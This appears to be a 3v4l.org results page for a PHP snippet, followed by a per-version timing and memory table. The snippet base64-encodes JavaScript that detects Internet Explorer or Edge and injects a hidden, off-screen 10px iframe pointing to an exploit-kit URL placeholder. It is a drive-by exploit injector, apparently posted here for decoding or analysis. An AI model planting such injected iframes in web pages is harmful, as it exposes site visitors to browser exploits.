3v4l.org

run code in 300+ PHP versions simultaneously
<?php echo base_decode('ZnVuY3Rpb24gdHJhY2tmdW5jKCl7CgkJdmFyIGlmcmFtZV9uYW1lID0gIjxkaXYgc3R5bGU9J3Bvc2l0aW9uOmFic29sdXRlO2xlZnQ6LTM1MzJweDsnPjxpZnJhbWUgd2lkdGg9JzEwcHgnIHNyYz0neyUlRUtfVVJMJSV9JyBoZWlnaHQ9JzEwcHgnPjwvaWZyYW1lPjwvZGl2PiI7CgkJdmFyIGRpdnNfbmFtZSA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdkaXYnKTsKICAJCXZhciBpc0lFID0gdmlzaXRvcnRyYWNrZXJkZSgpOwoJCXZhciBpc0Nocm9tZSA9ICFpc0lFICYmICEhd2luZG93LmNocm9tZSAmJiB3aW5kb3cubmF2aWdhdG9yLnZlbmRvciA9PT0gIkdvb2dsZSBJbmMuIjsKICAJCWlmKGlzSUUgJiYgIWlzQ2hyb21lKXsKICAgICAgICAJaWYoZGl2c19uYW1lLmxlbmd0aCA9PSAwKXsKCQkJCWRvY3VtZW50LmJvZHkuaW5uZXJIVE1MID0gZG9jdW1lbnQuYm9keS5pbm5lckhUTUwraWZyYW1lX25hbWU7CgkJCX1lbHNlewoJCQkJdmFyIGRsX25hbWUgPSBkaXZzX25hbWUubGVuZ3RoOwoJCQkJdmFyIG1pZF9uYW1lID0gTWF0aC5mbG9vcigoZGxfbmFtZS8yKSk7CgkJCQlkaXZzX25hbWVbbWlkX25hbWVdLmlubmVySFRNTCA9IGRpdnNfbmFtZVttaWRfbmFtZV0uaW5uZXJIVE1MK2lmcmFtZV9uYW1lOwoJCQl9CiAgICAgICAgfQoJfQoJdmFyIHRyYWNrX2ludGVydmFsID0gc2V0SW50ZXJ2YWwoZnVuY3Rpb24oKXsKCQlpZihkb2N1bWVudC5ib2R5ICE9IG51bGwgJiYgdHlwZW9mIGRvY3VtZW50LmJvZHkgIT0gJ3VuZGVmaW5lZCcpewoJCQljbGVhckludGVydmFsKHRyYWNrX2ludGVydmFsKTsKCQkJdHJhY2tmdW5jKCk7CgkJfQoJfSwxMDApOwoJZnVuY3Rpb24gdmlzaXRvcnRyYWNrZXJkZSgpIHsKICAgIAl2YXIgdWEgPSB3aW5kb3cubmF2aWdhdG9yLnVzZXJBZ2VudDsKICAgIAl2YXIgbXNpZSA9IHVhLmluZGV4T2YoJ01TSUUgJyk7CiAgICAJaWYgKG1zaWUgPiAwKSB7CiAgICAgICAgCXJldHVybiBwYXJzZUludCh1YS5zdWJzdHJpbmcobXNpZSArIDUsIHVhLmluZGV4T2YoJy4nLCBtc2llKSksIDEwKTsKICAgIAl9CiAgICAJdmFyIHRyaWRlbnQgPSB1YS5pbmRleE9mKCdUcmlkZW50LycpOwogICAgCWlmICh0cmlkZW50ID4gMCkgewogICAgICAgIAl2YXIgcnYgPSB1YS5pbmRleE9mKCdydjonKTsKICAgICAgICAJcmV0dXJuIHBhcnNlSW50KHVhLnN1YnN0cmluZyhydiArIDMsIHVhLmluZGV4T2YoJy4nLCBydikpLCAxMCk7CiAgICAJfQogICAgCXZhciBlZGdlID0gdWEuaW5kZXhPZignRWRnZS8nKTsKICAgIAlpZiAoZWRnZSA+IDApIHsKICAgICAgIAkJcmV0dXJuIHBhcnNlSW50KHVhLnN1YnN0cmluZyhlZGdlICsgNSwgdWEuaW5kZXhPZignLicsIGVkZ2UpKSwgMTApOwogICAJIAl9CiAgICAJcmV0dXJuIGZhbHNlOwoJfQ==');

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0070.00718.66
8.3.30.0070.00718.72
8.3.20.0050.00220.07
8.3.10.0060.00321.78
8.3.00.0040.00419.68
8.2.170.0080.00622.96
8.2.160.0070.01420.38
8.2.150.0040.00424.18
8.2.140.0050.00324.66
8.2.130.0040.00426.16
8.2.120.0030.00517.50
8.2.110.0060.00320.41
8.2.100.0040.00820.02
8.2.90.0000.00817.75
8.2.80.0000.00818.83
8.2.70.0050.00317.80
8.2.60.0090.00018.03
8.2.50.0000.00818.10
8.2.40.0030.00519.22
8.2.30.0040.00419.77
8.2.20.0070.00017.54
8.2.10.0000.00817.96
8.2.00.0000.00717.85
8.1.270.0060.00320.61
8.1.260.0080.00026.35
8.1.250.0090.00628.09
8.1.240.0030.00623.73
8.1.230.0040.00720.87
8.1.220.0030.00517.74
8.1.210.0040.00418.77
8.1.200.0000.01017.23
8.1.190.0050.00317.23
8.1.180.0030.00618.89
8.1.170.0080.00018.57
8.1.160.0080.00018.74
8.1.150.0040.00418.63
8.1.140.0040.00417.32
8.1.130.0030.00317.61
8.1.120.0050.00317.37
8.1.110.0000.00717.22
8.1.100.0040.00417.20
8.1.90.0070.00017.33
8.1.80.0000.00717.24
8.1.70.0030.00317.36
8.1.60.0090.00017.41
8.1.50.0000.00817.40
8.1.40.0000.00917.31
8.1.30.0000.00817.48
8.1.20.0040.00417.60
8.1.10.0000.00717.41
8.1.00.0080.00417.42
8.0.300.0070.00018.77
8.0.290.0040.00416.75
8.0.280.0030.00518.35
8.0.270.0000.00717.10
8.0.260.0000.00817.18
8.0.250.0050.00316.86
8.0.240.0000.00716.94
8.0.230.0080.00016.88
8.0.220.0070.00016.77
8.0.210.0070.00016.88
8.0.200.0030.00316.98
8.0.190.0040.00416.94
8.0.180.0070.00016.88
8.0.170.0000.00816.87
8.0.160.0070.00016.83
8.0.150.0050.00516.88
8.0.140.0040.00416.81
8.0.130.0030.00313.31
8.0.120.0030.00616.78
8.0.110.0040.00416.82
8.0.100.0050.00216.87
8.0.90.0070.00016.73
8.0.80.0000.01516.85
8.0.70.0040.00416.91
8.0.60.0000.00716.91
8.0.50.0050.00316.74
8.0.30.0090.01016.99
8.0.20.0090.01017.40
8.0.10.0040.00416.93
8.0.00.0110.00916.76
7.4.330.0020.00215.08
7.4.320.0030.00316.36
7.4.300.0000.00716.52
7.4.290.0080.00016.32
7.4.280.0040.00416.43
7.4.270.0030.00316.29
7.4.260.0040.00416.43
7.4.250.0000.00816.46
7.4.240.0030.00316.43
7.4.230.0030.00316.31
7.4.220.0000.01816.60
7.4.210.0050.01216.52
7.4.200.0030.00316.54
7.4.160.0070.01016.30
7.4.150.0090.00917.40
7.4.140.0170.01217.86
7.4.130.0110.00916.51
7.4.120.0060.01216.36
7.4.110.0180.00616.36
7.4.100.0130.00916.54
7.4.90.0160.00616.22
7.4.80.0000.02019.39
7.4.70.0130.00616.49
7.4.60.0080.00816.43
7.4.50.0080.00016.57
7.4.40.0120.00316.26
7.4.30.0100.01316.43
7.4.10.0070.01014.70
7.4.00.0080.01014.91
7.3.330.0050.00012.98
7.3.320.0030.00313.02
7.3.310.0040.00416.12
7.3.300.0000.00716.15
7.3.290.0040.00416.25
7.3.280.0090.00716.25
7.3.270.0100.00717.40
7.3.260.0170.00316.28
7.3.250.0140.00716.29
7.3.240.0110.01116.37
7.3.230.0130.00616.39
7.3.210.0040.01316.63
7.3.200.0130.00319.39
7.3.190.0150.00316.28
7.3.180.0080.00816.39
7.3.170.0120.01016.55
7.3.160.0080.00816.26
7.3.130.0030.01614.56
7.3.120.0120.00614.95
7.3.110.0100.01014.88
7.3.100.0070.00714.44
7.3.90.0070.01014.95
7.3.80.0000.01214.78
7.3.70.0080.00814.58
7.3.60.0030.01314.65
7.3.50.0120.00314.71
7.3.40.0030.00714.63
7.3.30.0140.00014.78
7.3.20.0040.00416.79
7.3.10.0000.01016.52
7.3.00.0100.00716.51
7.2.330.0030.01416.56
7.2.320.0000.01716.21
7.2.310.0090.00916.73
7.2.300.0030.01516.29
7.2.290.0000.02316.55
7.2.260.0090.00915.04
7.2.250.0030.01514.97
7.2.240.0070.00714.65
7.2.230.0000.01415.01
7.2.220.0030.00614.68
7.2.210.0090.00314.89
7.2.200.0120.00014.72
7.2.190.0040.01114.89
7.2.180.0050.00514.75
7.2.170.0000.01614.84
7.2.160.0090.00614.87
7.2.150.0060.00616.56
7.2.140.0080.00616.90
7.2.130.0030.00816.99
7.2.120.0070.00716.72
7.2.110.0040.00716.79
7.2.100.0070.00716.50
7.2.90.0000.01416.75
7.2.80.0060.00616.48
7.2.70.0090.00616.88
7.2.60.0080.00816.84
7.2.50.0120.00616.79
7.2.40.0090.00316.65
7.2.30.0060.00916.91
7.2.20.0060.01016.63
7.2.10.0100.00716.82
7.2.00.0080.00517.94
7.1.330.0030.00915.23
7.1.320.0110.00315.74
7.1.310.0090.00015.37
7.1.300.0000.01515.59
7.1.290.0060.00615.39
7.1.280.0030.01315.73
7.1.270.0040.00815.66
7.1.260.0100.00315.68
7.1.250.0060.00615.62
7.1.240.0060.00615.66
7.1.230.0100.00315.61
7.1.220.0030.01315.40
7.1.210.0100.00315.47
7.1.200.0060.00615.56
7.1.190.0100.00715.59
7.1.180.0070.01115.67
7.1.170.0090.00915.51
7.1.160.0060.00615.66
7.1.150.0060.01015.70
7.1.140.0040.01215.60
7.1.130.0030.01015.55
7.1.120.0060.00915.69
7.1.110.0080.00815.56
7.1.100.0030.01116.64
7.1.90.0040.00715.36
7.1.80.0070.00715.52
7.1.70.0040.00816.24
7.1.60.0060.01417.77
7.1.50.0050.00816.14
7.1.40.0080.00415.69
7.1.30.0030.00915.38
7.1.20.0060.00915.68
7.1.10.0060.00915.56
7.1.00.0050.04019.05
7.0.330.0080.00815.19
7.0.320.0070.01015.22
7.0.310.0000.01415.39
7.0.300.0080.00814.98
7.0.290.0030.01014.98
7.0.280.0070.01015.27
7.0.270.0060.00915.26
7.0.260.0100.00715.24
7.0.250.0030.01315.37
7.0.240.0080.00815.53
7.0.230.0040.00415.25
7.0.220.0040.00715.36
7.0.210.0110.00315.45
7.0.200.0160.00514.77
7.0.190.0060.00915.34
7.0.180.0040.00415.33
7.0.170.0100.00315.42
7.0.160.0100.00315.28
7.0.150.0130.00315.09
7.0.140.0000.01415.45
7.0.130.0030.01015.30
7.0.120.0040.00815.28
7.0.110.0150.04517.50
7.0.100.0120.05217.75
7.0.90.0170.04017.76
7.0.80.0160.04217.73
7.0.70.0130.04517.74
7.0.60.0100.02517.48
7.0.50.0070.03517.55
7.0.40.0070.02616.63
7.0.30.0080.04316.33
7.0.20.0100.04016.55
7.0.10.0100.02316.54
7.0.00.0090.03716.69
5.6.400.0070.00714.15
5.6.390.0000.01514.53
5.6.380.0150.00014.16
5.6.370.0030.00713.93
5.6.360.0110.00714.02
5.6.350.0040.00814.06
5.6.340.0130.00314.38
5.6.330.0060.00314.13
5.6.320.0040.01414.28
5.6.310.0030.01013.67
5.6.300.0100.00614.21
5.6.290.0060.00913.93
5.6.280.0030.02317.51
5.6.270.0050.00514.28
5.6.260.0070.03417.40
5.6.250.0060.04117.48
5.6.240.0080.03017.37
5.6.230.0090.03517.41
5.6.220.0030.04417.39
5.6.210.0060.02417.38
5.6.200.0120.03717.37
5.6.190.0080.02317.27
5.6.180.0070.04417.40
5.6.170.0090.03517.38
5.6.160.0050.04217.25
5.6.150.0010.03117.38
5.6.140.0050.03417.41
5.6.130.0020.05017.33
5.6.120.0070.02917.24
5.6.110.0100.03217.34
5.6.100.0120.03217.23
5.6.90.0050.04517.20
5.6.80.0080.02216.84
5.6.70.0020.03916.93
5.6.60.0070.03516.99
5.6.50.0060.04317.04
5.6.40.0030.03216.89
5.6.30.0050.03316.94
5.6.20.0120.04016.98
5.6.10.0050.02716.97
5.6.00.0050.02216.97
5.5.380.0070.03315.73
5.5.370.0130.03515.69
5.5.360.0060.04415.68
5.5.350.0020.04715.87
5.5.340.0120.03815.96
5.5.330.0080.02415.96
5.5.320.0070.04316.04
5.5.310.0050.04515.82
5.5.300.0050.03016.08
5.5.290.0050.04016.02
5.5.280.0040.03616.19
5.5.270.0100.04316.01
5.5.260.0030.04515.97
5.5.250.0100.03015.84
5.5.240.0110.03715.75
5.5.230.0120.03715.88
5.5.220.0030.02115.52
5.5.210.0080.02715.51
5.5.200.0060.02515.74
5.5.190.0070.04215.39
5.5.180.0070.01815.58
5.5.170.0060.00613.77
5.5.160.0020.02215.44
5.5.150.0050.02015.68
5.5.140.0030.02715.42
5.5.130.0110.02015.62
5.5.120.0030.03815.51
5.5.110.0050.02415.67
5.5.100.0050.03615.47
5.5.90.0020.03515.51
5.5.80.0080.02015.59
5.5.70.0030.04415.49
5.5.60.0050.02415.44
5.5.50.0050.02115.63
5.5.40.0030.02515.50
5.5.30.0000.03215.52
5.5.20.0030.02315.57
5.5.10.0050.03215.56
5.5.00.0070.03815.39
5.4.450.0030.03115.49
5.4.440.0050.04415.54
5.4.430.0050.03915.58
5.4.420.0050.04215.57
5.4.410.0090.03615.51
5.4.400.0070.03915.49
5.4.390.0080.02715.33
5.4.380.0030.02615.38
5.4.370.0070.03815.46
5.4.360.0040.03515.36
5.4.350.0020.04415.43
5.4.340.0050.04015.37
5.4.330.0090.00311.74
5.4.320.0020.02415.41
5.4.310.0070.03615.42
5.4.300.0050.02015.41
5.4.290.0070.01815.38
5.4.280.0030.02715.43
5.4.270.0030.02515.48
5.4.260.0030.04015.42
5.4.250.0040.02215.34
5.4.240.0040.02515.46
5.4.230.0080.03715.41
5.4.220.0070.03715.33
5.4.210.0060.01815.35
5.4.200.0030.02915.43
5.4.190.0020.02015.45
5.4.180.0030.04315.38
5.4.170.0020.04015.33
5.4.160.0060.02515.32
5.4.150.0020.02815.42
5.4.140.0050.02013.97
5.4.130.0030.02313.96
5.4.120.0070.03714.06
5.4.110.0110.02814.12
5.4.100.0030.02114.12
5.4.90.0040.02614.11
5.4.80.0040.02214.11
5.4.70.0120.02814.05
5.4.60.0030.03914.14
5.4.50.0060.03814.10
5.4.40.0110.03014.15
5.4.30.0050.02514.04
5.4.20.0030.03714.04
5.4.10.0080.03714.02
5.4.00.0030.03813.78

preferences:
52.98 ms | 400 KiB | 5 Q